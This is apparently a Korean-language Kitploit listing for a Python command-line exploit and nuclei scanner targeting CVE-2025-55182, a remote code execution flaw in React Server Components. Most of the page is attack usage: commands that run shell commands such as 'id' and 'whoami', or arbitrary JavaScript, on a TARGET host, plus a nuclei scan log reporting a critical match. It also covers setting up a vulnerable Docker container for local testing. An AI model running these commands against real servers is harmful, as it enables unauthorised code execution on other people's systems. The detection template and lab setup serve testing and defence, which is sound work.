CVE-2025-55182 — React Server Components의 치명적인 RCE인 CVE-2025-55182용 Python CLI 익스플로잇 및 스캐너로, 명령 실행 및 nuclei 기반 탐지를 지원합니다. | Kitploit

CVE-2025-55182 - React Server Components RCE 익스플로잇

CVE-2025-55182용 Python CLI 익스플로잇입니다. react-server-dom-webpack을 통해 발생하는 React Server Components의 치명적인 RCE 취약점입니다.

기반: ejpir/CVE-2025-55182-poc

빠른 시작

Docker 테스트

# Unpack src.zip
zip -r src.zip src

# Build and run vulnerable container
docker build -t cve-2025-55182-vuln .
docker run -d -p 3002:3002 --name cve-2025-55182 cve-2025-55182-vuln
sleep 3

# Check vulnerability
python3 exploit.py CVE-2025-55182 --ip localhost --port 3002 --check

# Execute commands
python3 exploit.py CVE-2025-55182 --ip localhost --port 3002 --cmd "id"
python3 exploit.py CVE-2025-55182 --ip localhost --port 3002 --cmd "whoami"

# Cleanup
docker stop cve-2025-55182 && docker rm cve-2025-55182

사용법

# Check vulnerability
python3 exploit.py CVE-2025-55182 --ip TARGET --port 3002 --check

# Execute command
python3 exploit.py CVE-2025-55182 --ip TARGET --port 3002 --cmd "COMMAND"

# Execute JavaScript
python3 exploit.py CVE-2025-55182 --url http://TARGET:3002 --code "Math.PI * 2"

# Check vulnerability
nuclei -t cve-2025-55182.yaml -u http://localhost:3005

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10

		projectdiscovery.io

[INF] Current nuclei version: v3.4.10 (outdated)
[INF] Current nuclei-templates version: v10.3.4 (latest)
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://localhost:3005/formaction
[INF] Scan completed in 14.991675ms. 1 matches found.

CVE-2025-55182

인기

nuclei로 취약점 확인 (RCE 없음, Math.PI만 사용)

영향을 받는 버전

면책 조항